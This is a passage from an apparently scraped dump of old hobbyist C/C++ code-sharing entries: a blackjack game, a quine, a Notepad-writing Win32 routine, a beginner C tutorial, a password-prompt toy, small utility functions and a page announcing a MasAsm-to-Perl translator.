Card\\n\";\n\t\t\t\n\t\t\tpush=0;\n\t\t\tfor (int q=1;q<=2;q++)\n\t\t\t{\n\t\t\t\tint face=((p_card[q]%52)%13);\n\t\t\t\tif (face>0&&face<10) push+=face;\t\t//NORMAL CARDS\n\t\t\t\tif (face>9||face==0) push+=10;\t\t//10,J,Q,K\n\t\t\t}\n\t\t\tif (push==15&&p_open[3]==0) cout<<\" (P)ush\\n\";\n\t\t\tcout<<\" (E)nough\\n \";\n\t\t\n\t\t\tcard_choice='z';\n\t\t\twhile(card_choice!='D'&&card_choice!='E'&&card_choice!='P')\n\t\t\t{\n\t\t\t\tcin >>card_choice;\n\t\t\t\tcard_choice=toupper(card_choice);\n\t\t\t}\n\t\t\t\n\t\t\tif (card_choice=='P'&&push==15&&p_open[3]==0) goto redeal;\t//Push\n\t\t\tif (card_choice=='P'&&push==15&&p_open[3]==0) goto showcard;\n\t\t\tif (card_choice=='D')\t\t\t//Draw a card\n\t\t\t{\n\t\t\t\tif (p_open[4]==1 && p_open[5]==0) p_open[5]=1;\n\t\t\t\tif (p_open[3]==1 && p_open[4]==0) p_open[4]=1;\n\t\t\t\tif (p_open[3]==0) p_open[3]=1;\n\t\t\t}\n\t\t\tif (card_choice=='E')\n\t\t\t{\n\t\t\t\tint ace=0;\n\t\t\t\tfor (int k=1;k<=5;k++)\n\t\t\t\t{\n\t\t\t\t\tint face=((p_card[k]%52)%13) ;\n\t\t\t\t\tif (p_open[k]==1)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (face>1&&face<10) sum+=face;\t\t//NORMAL CARDS\n\t\t\t\t\t\tif (face>9||face==0) sum+=10;\t\t//10,J,Q,K\n\t\t\t\t\t\tif (face==1) \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tace=1;\n\t\t\t\t\t\t\tsum++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (ace==1&&sum<=11) \n\t\t\t\t{\n\t\t\t\t\tsum+=10;\n\t\t\t\t\tif (p_open[3]==0&&sum==21) {BJ=2;}\n\t\t\t\t}\n\n\t\t\t\tif (sum>21) BJ=3;\n//----------------------------------\n\t\t\n\t\t\t\tif (BJ!=3&&BJ!=2)\n\t\t\t\t{\n\t\t\t\t\tint ace=0;\n\t\n\t\t\t\t\tfor (int k=1;k<=5;k++)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (p_open[1]==1&&p_open[2]==1&&p_open[3]==1&&p_open[4]==1&&p_open[5]==1) {BJ=6;break;}\n\t\t\t\t\t\tif (sum1==sum&&sum1>u_limit) {BJ=7;break;}\n\t\t\t\t\t\tif (sum1>sum&&sum1<=21) {BJ=5;break;}\n\t\t\t\t\t\tif (sum1>21) {BJ=4;break;}\n\t\t\t\t\t\tif (sum1<sum||(sum1==sum&&sum<=u_limit))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tc_open[k]=1;\n\t\t\t\t\t\t\tint face=((c_card[k]%52)%13) ;\n\t\t\t\t\t\t\tif (face>1&&face<10) sum1+=face;\t\t//NORMAL CARDS\n\t\t\t\t\t\t\tif (face>9||face==0) sum1+=10;\t\t//10,J,Q,K\n\t\t\t\t\t\t\tif (face==1) \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tace++;\n\t\t\t\t\t\t\t\tsum1++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (ace==1&&sum1<=11&&c_open[2]==1) \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsum1+=10;\n\t\t\t\t\t\t\t\tace=0;\n\t\t\t\t\t\t\t\tif (c_open[3]==0&&sum1==21) {BJ=1;break;}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (sum1>21) {BJ=4;break;}\n\t\t\t\t\t\tif (sum1>sum&&sum1<=21) {BJ=5;break;}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tend_game=2;\t\t//shows table one more time\n\t\t\t}\n\t\t}\n\t}\t\n\t//BJ 1 = Comp BJ\n\t// 2 = Play BJ\n\t// 3 = Play OVER\n\t// 4 = Comp OVER\n\t//\t 5 = Comp Win\n\t// 6 = PLay Win\n\t// 7 = Draw\nreturn 0;\n}\nchar convert_num(int card)\n{\n\tchar num='0';\n\tcard=(card%52);\t\t\t//deck division\n\tcard=(card%13);\t\t\t//suit division\n\t\n\tswitch (card)\n\t{\n\tcase 1:\n\t\tnum='A';break;\n\tcase 2:\n\t\tnum='2';break;\n\tcase 3:\n\t\tnum='3';break;\n\tcase 4:\n\t\tnum='4';break;\n\tcase 5:\n\t\tnum='5';break;\n\tcase 6:\n\t\tnum='6';break;\n\tcase 7:\n\t\tnum='7';break;\n\tcase 8:\n\t\tnum='8';break;\n\tcase 9:\n\t\tnum='9';break;\n\tcase 10:\n\t\tnum='0';break;\n\tcase 11:\n\t\tnum='J';break;\n\tcase 12:\n\t\tnum='Q';break;\n\tcase 0:\n\t\tnum='K';break;\n\t}\n\treturn num;\t\t\t//return value\n}\n"},{"WorldId":3,"id":7665,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7371,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7712,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7797,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8471,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7958,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7968,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8044,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8255,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8062,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8066,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8782,"LineNumber":1,"line":"#include <stdio.h>\nchar szMyCode[] =\n\"void printf_strconst( char* str )\\n\"\n\"{\\n\"\n\"\tdo\\n\"\n\"\t{\\n\"\n\"\t\tswitch( *str )\\n\"\n\"\t\t{\\n\"\n\"\t\tcase \\'\\\\n\\':\\n\"\n\"\t\t\tprintf(\\\"\\\\\\\\n\\\\\\\"\\\");\\n\"\n\"\t\t\tif( *(str+1) )\\n\"\n\"\t\t\t\tprintf(\\\"\\\\\\\"\\\");\\n\"\n\"\t\t\tbreak;\\n\"\n\"\t\tcase \\'\\\\\\\"\\':\\n\"\n\"\t\t\tprintf(\\\"\\\\\\\"\\\");\\n\"\n\"\t\t\tbreak;\\n\"\n\"\t\tcase \\'\\\\\\'\\':\\n\"\n\"\t\t\tprintf(\\\"\\\\\\'\\\");\\n\"\n\"\t\t\tbreak;\\n\"\n\"\t\tcase \\'\\\\\\\\\\':\\n\"\n\"\t\t\tprintf(\\\"\\\\\\\\\\\\\\\\\\\");\\n\"\n\"\t\t\tbreak;\\n\"\n\"\t\tcase \\'%\\':\\n\"\n\"\t\t\tprintf(\\\"%%\\\");\\n\"\n\"\t\t\tstr++;\\n\"\n\"\t\t\tbreak;\\n\"\n\"\t\tdefault:\\n\"\n\"\t\t\tprintf( \\\"%c\\\", *str );\\n\"\n\"\t\t}\\n\"\n\"\t}\\n\"\n\"\twhile( *++str );\\n\"\n\"\tprintf( \\\";\\\\n\\\\n\\\" );\\n\"\n\"}\\n\"\n\"\\n\"\n\"void main()\\n\"\n\"{\\n\"\n\"\tprintf( \\\"#include <stdio.h>\\\\n\\\\nchar szMyCode[] =\\\\n\\\\\\\"\\\" );\\n\"\n\"\tprintf_strconst( szMyCode );\\n\"\n\"\tprintf( \\\"%s\\\",szMyCode );\\n\"\n\"\tprintf( \\\"-=== THIS IS MY SOURCE! Press any key ===-\\\");\\n\"\n\"\tgetchar();\\n\"\n\"}\\n\";\nvoid printf_strconst( char* str )\n{\n\tdo\n\t{\n\t\tswitch( *str )\n\t\t{\n\t\tcase '\\n':\n\t\t\tprintf(\"\\\\n\\\"\");\n\t\t\tif( *(str+1) )\n\t\t\t\tprintf(\"\\n\\\"\");\n\t\t\tbreak;\n\t\tcase '\\\"':\n\t\t\tprintf(\"\\\\\\\"\");\n\t\t\tbreak;\n\t\tcase '\\'':\n\t\t\tprintf(\"\\\\\\'\");\n\t\t\tbreak;\n\t\tcase '\\\\':\n\t\t\tprintf(\"\\\\\\\\\");\n\t\t\tbreak;\n\t\tcase '%':\n\t\t\tprintf(\"%%\");\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tprintf( \"%c\", *str );\n\t\t}\n\t}\n\twhile( *++str );\n\tprintf( \";\\n\\n\" );\n}\nvoid main()\n{\n\tprintf( \"#include <stdio.h>\\n\\nchar szMyCode[] =\\n\\\"\" );\n\tprintf_strconst( szMyCode );\n\tprintf( \"%s\",szMyCode );\n\tprintf( \"-=== THIS IS MY SOURCE! Press any key ===-\");\n\tgetchar();\n}\n"},{"WorldId":3,"id":8799,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4783,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8958,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8871,"LineNumber":1,"line":"#include <windows.h> // Very important. Otherwise this whole thing wouldn't work!\n// WriteToNotepad()\n// Indirectly writes text to Notepad\n// Returns TRUE or FALSE depending on success\nBOOL WriteToNotepad(LPCTSTR lpszText)\n{\n\tHWND hwndNotepad; // A handle to the Notepad window\n\tHWND hwndEdit; // A handle to Notepad's work area\n\t// Where's Notepad?\n\thwndNotepad = FindWindow(\"Notepad\", NULL);\n\t// Did we find it?\n\tif(!hwndNotepad)\n\t{\n\t\t// Guess not\n\t\t// Try to run it from the Windows directory\n\t\tWinExec(\"Notepad\", SW_SHOWNORMAL);\n\t\t// Wait a few milliseconds (If your computer is slow it may take a while)\n\t\tSleep(100);\n\t\t// Find it again\n\t\thwndNotepad = FindWindow(\"Notepad\", NULL);\n\t\t// Did we find it this time?\n\t\tif(!hwndNotepad)\n\t\t{\n\t\t\t// Nope.\n\t\t\t// Return FALSE indicating failure :(\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\t// Good, we found Notepad.\n\t// Now lets find it's the edit control\n\t// that makes up it work area\n\t// We'll use FindWindowEx this time because it is used to find\n\t// child windows\n\t\n\thwndEdit = FindWindowEx(hwndNotepad, NULL, \"Edit\", NULL);\n\t// Success?\n\tif(!hwndEdit)\n\t{\n\t\t// Oops. Busted.\n\t\t// Nothing we can do here. Return FALSE indicating failure (:\n\t\n\t\treturn FALSE;\n\t}\n\t// Good, we found the edit control\n\t// Now we're going to loop through the characters in the lpszText (defined by user)\n\t// and display them individually\n\tfor(int i = 0; i < lstrlen(lpszText); i ++)\n\t{\n\t\tLRESULT lRet; // We use this to recieve the return value of SendMessage (just in case it fails)\n\t\t// Write the characters one by one by sending a WM_CHAR message to\n\t\t// the edit control\n\t\tlRet = SendMessage(hwndEdit, WM_CHAR, lpszText[i], NULL);\n\t\t\n\t\t// Any problems?\n\t\tif(!lRet)\n\t\t{\n\t\t\t// Nothing we can really do. There's no point in breaking\n\t\t\t// the loop, so ignore it.\n\t\t}\n\t}\n\t// Good! Everything worked out.\n\t// Return TRUE indicating success :)\n\treturn TRUE;\n}\n// main()\n// Marks the beginning and end of program execution\n// No return value\nVOID main()\n{\n\t// Let's give it a try\n\t// Display \"Hello World!\" to the user via Notepad\n\tWriteToNotepad(\"Hello World!\\n\");\n\t/*\n\tThe only drawback of this function is that in order to see what\n\twas written to Notepad, the user must manually go at bring the\n\twindow to the foreground. While there is a function that can do\n\tthis automatically (SetForegroundWindow()), it won't work because\n\tthe console must be in the foreground in order to, well, RUN!\n\t\n\tNote:\n\tThis function works just as if you were to use cout<< or printf()\n\tmeaning in order to start a new line, you must include a '\\n' character\n\tin the text (as shown above). To delete text, use '\\b'\n\t*/\n}"},{"WorldId":3,"id":9076,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":9153,"LineNumber":1,"line":"Introduction to C Programming \nSo you want to learn C? We hope to provide you with an easy step by step guide to programming in C. The course is split up into several sections, or lessons,\nwhich include C example programs for you to demonstrate what has been taught. Although the ordering of the sections does not have to be strictly followed, the\nsections become progressively more involved and assume background knowledge attained from previous sections. Good Luck! \nBefore you start:<div align=center\">\n 1.Please read this Introduction. \n 2.It is a long course and will take you quite a while to complete.</div> if you have any problems please let us know!. <div align=center\">\nThe Course Section Topics:</div>\n 1.Overview of C.\n a.Why use C? \n b.Uses of C \n c.A Brief History of C \n d.C for Personal Computers \n 2.Running C Programs.\n a.Using Microsoft C. \n b.Unix System. \n 3.Structure of C Programs.\n a.C's Character Set \n b.The form of a C Program \n c.The layout of C Programs \n d.Preprocessor Directives \n 4.Your First Program.\n a.Commenting Programs. \n 5.Data Types - Part I.\n a.Integer Number Variables. \n b.Decimal Number Variables. \n c.Character Variables. \n d.Assignment Statement. \n e.Arithmetic Ordering. \n f.Something To Declare. \n 6.Input and Output\n a.printf. \n b.The % Format Specifiers. \n c.Formatting Your Output. \n d.scanf. \n 7.Control Loops\n a.The while and do while Loops. \n b.Conditions, or Logical Expression. \n c.The for Loop. \n 8.Conditional Execution\n a.Program Control - if , if else etc.. \n b.Using break and continue Within Loops. \n c.Select Paths with switch. \n 9.Structure and Nesting\n 10.Functions and Prototypes\n a.Functions - C's Building Blocks. \n b.Functions and Local Variables. \n c.Getting the Value of Variables into Functions.\n d.Functions and Prototypes. \n e.What is ANSI C?. \n f.Standard Library Functions. \n 11.Data Types - Part II\n a.Global Variables. \n b.Constant Data Types. \n 12.Arrays\n 13.Pointers\n a.Point To Point. \n b.Swap Shop. \n c.Pointers Linked To Arrays. \n 14.Strings\n a.Stringing Along. \n b.As easy as... B or C?. \n c.A Sort OF Bubble Program. \n 15.Structures\n a.Defining A New Type. \n b.Structures and Functions. \n c.Pointers To Structures. \n d.Malloc. \n e.Structures and Linked Lists. \n f.Structures and C++. \n g.Header Files. \n 16.File Handling\n a.Stream Files. \n b.Text File Functions. \n c.Binary File Functions. \n d.File System Functions. \n e.Command Line Parameters. \n 17.Recommended Books\n 18.Appendix: C's functions\nYou've now reached the end of this tutorial. We have covered a lot of ground - but this has been a first course in C and there is still plenty to learn. However, as long as you keep in\nmind that C is an essentially simple language and how new features are built from this simplicity you shouldn't have many problems.\nYou also need to be aware of the fact that C is a very low-level language and as a result allows programmers to confuse data types and muck around with the bit\npatterns of the data in a way that higher level languages would disown! You probably need to make sure that you understand binary and the way that values are\nrepresented to get the best from C.\nOverview of C \n\nObjectives:\nThis section is designed to give you a general overview of the C programming language. Although much of this section will be expanded in later sections it gives you\na taste of what is to come.\nWhy use C?:\nC has been used successfully for every type of programming problem imaginable from operating systems to spreadsheets to expert systems - and efficient compilers are available for\nmachines ranging in power from the Apple Macintosh to the Cray supercomputers. The largest measure of C's success seems to be based on purely practical considerations:\n the portability of the compiler; \n the standard library concept; \n a powerful and varied repertoire of operators; \n an elegant syntax; \n ready access to the hardware when needed; \n and the ease with which applications can be optimized by hand-coding isolated procedures \nC is often called a \"Middle Level\" programming language. This is not a reflection on its lack of programming power but more a reflection on its capability to access\nthe system's low level functions. Most high-level languages (e.g. Fortran) provides everything the programmer might want to do already built into the language. A low\nlevel language (e.g. assembler) provides nothing other than access to the machines basic instruction set. A middle level language, such as C, probably doesn't supply\nall the constructs found in high-languages - but it provides you with all the building blocks that you will need to produce the results you want! \nUses of C\nC was initially used for system development work, in particular the programs that make-up the operating system. Why use C? Mainly because it produces code that runs nearly as fast as\ncode written in assembly language. Some examples of the use of C might be:\n Operating Systems \n Language Compilers \n Assemblers \n Text Editors \n Print Spoolers \n Network Drivers \n Modern Programs \n Data Bases \n Language Interpreters \n Utilities \nIn recent years C has been used as a general-purpose language because of its popularity with programmers. It is not the world's easiest language to learn and you\nwill certainly benifit if you are not learning C as your first programming language! C is trendy (I nearly said sexy) - many well established programmers are switching to\nC for all sorts of reasons, but mainly because of the portability that writing standard C programs can offer. \nA Brief History of C:\nC is a general-purpose language which has been closely associated with the UNIX operating system for which it was developed - since the system and most of the programs that run it are\nwritten in C. \nMany of the important ideas of C stem from the language BCPL, developed by Martin Richards. The influence of BCPL on C proceeded indirectly through the\nlanguage B, which was written by Ken Thompson in 1970 at Bell Labs, for the first UNIX system on a DEC PDP-7. BCPL and B are \"typeless\" languages whereas C\nprovides a variety of data types. \nIn 1972 Dennis Ritchie at Bell Labs writes C and in 1978 the publication of The C Programming Language by Kernighan & Ritchie caused a revolution in the\ncomputing world. \nIn 1983, the American National Standards Institute (ANSI) established a committee to provide a modern, comprehensive definition of C. The resulting definition, the\nANSI standard, or \"ANSI C\", was completed late 1988. \nA Rough Guide to Programming Languages is available on-line for those of you that are interested. \nC for Personal Computers:\nWith regards to personal computers Microsoft C for IBM (or clones) PC's. and Borlands C are seen to be the two most commonly used systems. However, the latest version of Microsoft\nC is now considered to be the most powerful and efficient C compiler for personal computers.\nRunning C Programs \nObjectives:\nHaving read this section you should be able to:\n 1.Edit, link and run your C programs \nThis section is primarily aimed at the beginner who as no or little experience of using compiled languages. We cover the various stages of program development. The basic principles of this\nsection will apply to what ever C compiler you choose to use, the stages are nearly always the same\nThe Edit-Compile-Link-Execute Process:\nDeveloping a program in a compiled language such as C requires at least four steps: \n 1.editing (or writing) the program \n 2.compiling it \n 3.linking it \n 4.executing it \nWe will now cover each step separately.\nEditing:\nYou write a computer program with words and symbols that are understandable to human beings. This is the edit part of the development cycle. You type the program directly into a\nwindow on the screen and save the resulting text as a separate file. This is often referred to as the source file (you can read it with the TYPE command in DOS or the cat command in unix).\nThe custom is that the text of a C program is stored in a f ile with the extension .c for C programming language\nCompiling:\nYou cannot directly execute the source file. To run on any computer system, the source file must be translated into binary numbers understandable to the computer's Central Procesing Unit\n(for example, the 80*87 microprocessor). This process produces an intermediate object file - with the extension .obj, the .obj stands for Object.\nLinking:\nThe first question that comes to most peoples minds is Why is linking necessary? The main reason is that many compiled languages come with library rountines which can be added to your\nprogram. Theses routines are written by the manufacturer of the compiler to perform a variety of tasks, from input/output to complicated mathematical functions. In the case of C the standard\ninput and output functions are contained in a library (stdio.h) so even the most basic program will require a lib rary function. After linking the file extension is .exe which are executable\nfiles.\nExecutable files:\nThus the text editor produces .c source files, which go to the compiler, which produces .obj object files, which go to the linker, which produces .exe executable file. You can then run\n.exe files as you can other applications, simply by typing their names at the DOS prompt or run using windows menu. \nUsing Microsoft C:\nEdit stage: \n Type program in using one of the Microsoft Windows editing packages.\nCompile and link: \n Select Building from Make menu. Building option allows you to both compile and link in the same option.\nExecute: \n Use the Run menu and select Go option.\nErrors: \n First error highlighted. Use Next Error from Search menu for further errors if applicable. \nIf you get an error message, or you find that the program doesn't work when you finally run it (at least not in the way you anticipated) you will have to go back to the source file - the .c file -\nto make changes and go through the whole development process again! \nStructure of C Programs \nObjectives:\nHaving completed this section you should know about: \n 1.C's character set \n 2.C's keywords \n 3.the general structure of a C program \n 4.that all C statement must end in a ; \n 5.that C is a free format language \n 6.all C programs us header files that contain standard library functions. \nC's Character Set:\nC does not use, nor requires the use of, every character found on a modern computer keyboard. The only characters required by the C Programming Language are as follows:\n A - Z \n a -z \n 0 - 9 \n space . , : ; ' $ \" \n # % & ! _ {} [] () < > | \n + - / * = \nThe use of most of this set of characters will be dicussed throughout the course. \nThe form of a C Program:\nAll C programs will consist of at least one function, but it is usual (when your experience grows) to write a C program that comprises several functions. The only function that has to be\npresent is the function called main. For more advanced programs the main function will act as a controling function calling other functions in their turn to do the dirty work! The main\nfunction is the first function that is called when your program executes. \nC makes use of only 32 keywords which combine with the formal syntax to the form the C programming language. Note that all keywords are written in lower case - C, like UNIX, uses\nupper and lowercase text to mean different things. If you are not sure what to use then always use lowercase text in writing your C programs. A keyword may not be used for any other\npurposes. For example, you cannot have a variable called auto. \nThe layout of C Programs:\nThe general form of a C program is as follows (don't worry about what everything means at the moment - things will be explained later): \npreprocessor directives\nglobal declarations\nmain()\n{\n local variables to function main ;\n statements associated with function main ;\n}\nf1()\n{\n local variables to function 1 ;\n statements associated with function 1 ;\n}\nf2()\n{\n local variables to function f2 ;\n statements associated with function 2 ;\n}\n.\n.\n.\netc\nNote the use of the bracket set () and {}. () are used in conjunction with function names whereas {} are used as to delimit the C statements that are associated with that function. Also note\nthe semicolon - yes it is there, but you might have missed it! a semicolon (;) is used to terminate C statements. C is a free format language and long statements can be continued, without\ntruncation, onto the next line. The semicolon informs the C compiler that the end of the statement has been reached. Free format also means that you can add as many spaces as you like to\nimprove the look of your programs. \nA very common mistake made by everyone, who is new to the C programming language, is to miss off the semicolon. The C compiler will concatinate the various lines of the program\ntogether and then tries to understand them - which it will not be able to do. The error message produced by the compiler will relate to a line of you program which could be some distance\nfrom the initial mistake. \nPreprocessor Directives:\nC is a small language but provides the programmer with all the tools to be able to write powerful programs. Some people don't like C because it is too primitive! Look again at the set of\nkeywords that comprises the C language and see if you can find a command that allows you to print to the computer's screen the result of, say, a simple calculation. Don't look too hard\nbecause it dosen't exist. \nIt would be very tedious, for all of us, if everytime we wanted to communicate with the computer we all had to write our own output functions. Fortunately, we do not have to. C uses\nlibraries of standard functions which are included when we build our programs. For the novice C programmer one of the many questions always asked is does a function already exist for\nwhat I want to do? Only experience will help here but we do include a function listing as part of this course. \nAll programs you will write will need to communicate to the outside world - I don't think I can think of a program that doesn't need to tell someone an answer. So all our C programs will\nneed at least one of C's standard libraries which deals with standard inputting and outputting of data. This library is called stdio.h and it is declared in our programs before the main\nfunction. The .h extension indicates that this is a header file. \nI have already mentioned that C is a free format language and that you can layout your programs how you want to using as much white space as you like. The only exception are statements\nassociated with the preprocessor. \nAll preprocessor directives begin with a # and the must start in the first column. The commonest directive to all C programs is: \n#include <stdio.h> \nNote the use of the angle brackets (< and >) around the header's name. These indicate that the header file is to be looked for on the system disk which stores the rest of the C program\napplication. Some text books will show the above statement as follows: \n#include \"stdio.h\" \nThe double quotes indicate that the current working directory should be searched for the required header file. This will be true when you write your own header files but the standard header\nfiles should always have the angle brackets around them. \nNOTE: just to keep you on your toes - preprocessor statements, such as include, DO NOT use semi-colons as delimiters! But don't forget the # must be in the first column. \nThats enough background to C programs - lets get on with our first program which will start to bring together some of the ideas outlined above.\n<div align=\"center\">Your First Program</div>\nObjectives:\nYes - it's the ubiquitous \"Hello World\" program. All your first program is going to do is print the message \"Hello World\" on the screen. \nThe program is a short one, to say the least. Here it is:\n#include <stdio.h>\nint main()\n{\n printf(\"Hello World\\n\");\n return 0;\n}\n*******THERES A LOT MORE LOOK FOR TEM IN MY NEXT TUTORIAL********"},{"WorldId":3,"id":7830,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":9170,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":9176,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5113,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5114,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5150,"LineNumber":1,"line":"/* Abu-Mavia Presents.\n Password is : mavia \n winkey.c */\n#include<string.h>\n#include<stdio.h>\n#include<conio.h>\n#include<graphics.h>\nmain()\n{\nchar ah,bh,ch,dh,eh,fh,gh,hh,ih,jh;\nint gd=DETECT ,gm,x,y;\nint n=1;\nstr:\ninitgraph(&gd,&gm,\"c:\\\\tc\\\\bgi\"); // Here is path of your tc dir..\nx=getmaxx();\ny=getmaxy();\nsetfillstyle(3, 1);\nsetcolor(WHITE);\nbar(-1,-1,640,480);\nrectangle(x/30,y/20,x/1.03,y/1.03);\nrectangle(x/30,y/2,x/1.03,y/1.03);\nouttextxy(x/1.8+25,y/1.15+5,\"Abu-Mavia Presents\");\nouttextxy(x/1.8+25,y/1.1+5,\"E-Mail:mrmasood@hotmil.com\");\nrectangle(247,175,328,192);\nouttextxy(173,180,\"Password:\");\ngotoxy(32,12);\nwhile(!kbhit())\n {\n n++;\n setcolor(n);\n outtextxy(250,179,\" ? ? ? ?\");\n outtextxy(x/2.3+25,y/18+8,\"WINKEY\");\n delay(100);\n }\n\nah=getch();\nprintf(\"*\");\nif(ah=='\\r')\n{\nif(ah=='m' && bh=='a' && ch=='v' && dh=='i' && eh=='a')\n { goto yes; } goto wro;\n}\nbh=getch();\nprintf(\"*\");\nif(bh=='\\r')\n{\nif(ah=='m' && bh=='a' && ch=='v' && dh=='i' && eh=='a')\n { goto yes; } goto wro;\n}\nch=getch();\nprintf(\"*\");\nif(ch=='\\r')\n{\nif(ah=='m' && bh=='a' && ch=='v' && dh=='i' && eh=='a')\n { goto yes; } goto wro;\n}\ndh=getch();\nprintf(\"*\");\nif(dh=='\\r')\n{\nif(ah=='m' && bh=='a' && ch=='v' && dh=='i' && eh=='a')\n { goto yes; } goto wro;\n}\neh=getch();\nprintf(\"*\");\nif(eh=='\\r')\n{\nif(ah=='m' && bh=='a' && ch=='v' && dh=='i' && eh=='a')\n { goto yes; } goto wro;\n}\nfh=getch();\nprintf(\"*\");\nif(fh=='\\r')\n{\nif(ah=='m' && bh=='a' && ch=='v' && dh=='i' && eh=='a')\n { goto yes; } goto wro;\n}\ngh=getch();\nprintf(\"*\");\nif(gh=='\\r')\n{\nif(ah=='m' && bh=='a' && ch=='v' && dh=='i' && eh=='a')\n { goto yes; } goto wro;\n}\nhh=getch();\nprintf(\"*\");\nif(hh=='\\r')\n{\nif(ah=='m' && bh=='a' && ch=='v' && dh=='i' && eh=='a')\n { goto yes; } goto wro;\n}\nih=getch();\nprintf(\"*\");\nif(ih=='\\r')\n{\nif(ah=='m' && bh=='a' && ch=='v' && dh=='i' && eh=='a')\n { goto yes; } goto wro;\n}\njh=getch();\nprintf(\"*\");\nif(jh=='\\r')\n{\nif(ah=='m' && bh=='a' && ch=='v' && dh=='i' && eh=='a')\n { goto yes; } goto wro;\n}\nif(ah=='m' && bh=='a' && ch=='v' && dh=='i' && eh=='a')\n {\nyes:\ngotoxy(30,18);\n//printf(\"\\a\\a\");\nsetcolor(WHITE);\nouttextxy(200,300,\"Success Full\");\nsound(2000); delay(200); nosound();\nsound(1000); delay(200); nosound();\n//printf(\"Press Any Key\");\n//getch();\n }\nelse\n {\n wro:\n sound(2000); delay(300); nosound();\n setcolor(WHITE);\n outtextxy(x/9+10,y/18+8,\"Wrong Entry\");\n delay(500);\n goto str;\n }\nclosegraph();\nrestorecrtmode();\n}"},{"WorldId":3,"id":5180,"LineNumber":1,"line":"#include <iostream.h>\n#include <conio.h>\nshort Math_Stuff(int, int*, int*);\nint main()\n{\n int Num = 0, MCube = 0, MSquared = 0;\n short Error;\n clrscr();\n cout<<\"Enter in number to square and cube: \";\n cin>>Num;\n Error = Math_Stuff(Num, &MCube, &MSquared);\n if(!Error)\n {\n\tcout<<\"The number is: \"<<Num;\n\tcout<<endl<<\"The cube of \"<<Num<<\": \"<<MCube;\n\tcout<<endl<<\"The square of \"<<Num<<\": \"<<MSquared;\n\tgetch();\n }\n else\n cout<<\"An error has occured\";\nreturn 0;\n}\nshort Math_Stuff(int N, int *Cube, int *Sqaured)\n{\n short Value = 0;\n if(N > 20)\n Value = 1;\n else\n *Sqaured = (N*N);\n *Cube = (N*N*N);\n Value = 0;\n return Value;\n}"},{"WorldId":3,"id":5220,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5228,"LineNumber":1,"line":"BOOL WriteFileFromResource(int resourceid, LPCTSTR resourcetype, char* filename, bool createdirectory, char* directory)\n{\n\t\tif (createdirectory)\n\t\t{\n\t\t\tHRESULT result;\n\t\t\tresult = CreateDirectory(directory, NULL);\n\t\t\tif (result == 0)\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t\t\n\t\t\tresult = SetCurrentDirectory(directory);\n\t\t\t\n\t\t\tif (result == 0)\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\t\n\t\tHRSRC hRsrc;\n\t\thRsrc = FindResource(NULL, MAKEINTRESOURCE(resourceid), resourcetype);\n\t\tif (hRsrc == NULL)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\t\n\t\tHGLOBAL filedata;\n\t\tfiledata = LoadResource(NULL, hRsrc);\n\t\t\n\t\tif (filedata == NULL)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\tDWORD size;\n\t\tsize = SizeofResource(NULL, hRsrc);\n\t\tif (size < 0)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\tFILE* file;\n\t\tfile = fopen(filename, \"wb\");\n\t\t\n\t\tif (file == NULL)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\tfwrite(filedata, size, 1, file);\n\t\tfclose(file);\n\t\treturn TRUE;\n}\n"},{"WorldId":3,"id":5268,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5126,"LineNumber":1,"line":"<HTML>\n<BODY>\n\n<IMG SRC=\"http://www.lostsidedead-software.com/cool_logo.jpg\">\n \nMasAsm to Perl Script Compiler \nThis application translates masasm script to perl script then shells the perl \ninterpreator. You have to have the perl interpreator installed on your system for this \nprogram to work if you dont have it you can download the binarys from <a \nhref=\"http://www.perl.com\"> www.perl.com </a>. This is a modified version of the MasAsm \nC Preproccescor that just outputs perl instead of C, and shells the perl interpreator \ninstead of gcc. \n Download \n<a href=\"http://www.lostsidedead-software.com/masasm_perl.zip\"> Download MasAsm to Perl \n</a> \n Screen Shots \n<img src=\"Http://www.lostsidedead-software.com/mas2_vc.jpg\"> <img \nsrc=\"Http://www.lostsidedead-software.com/mas2_perl.jpg\"> 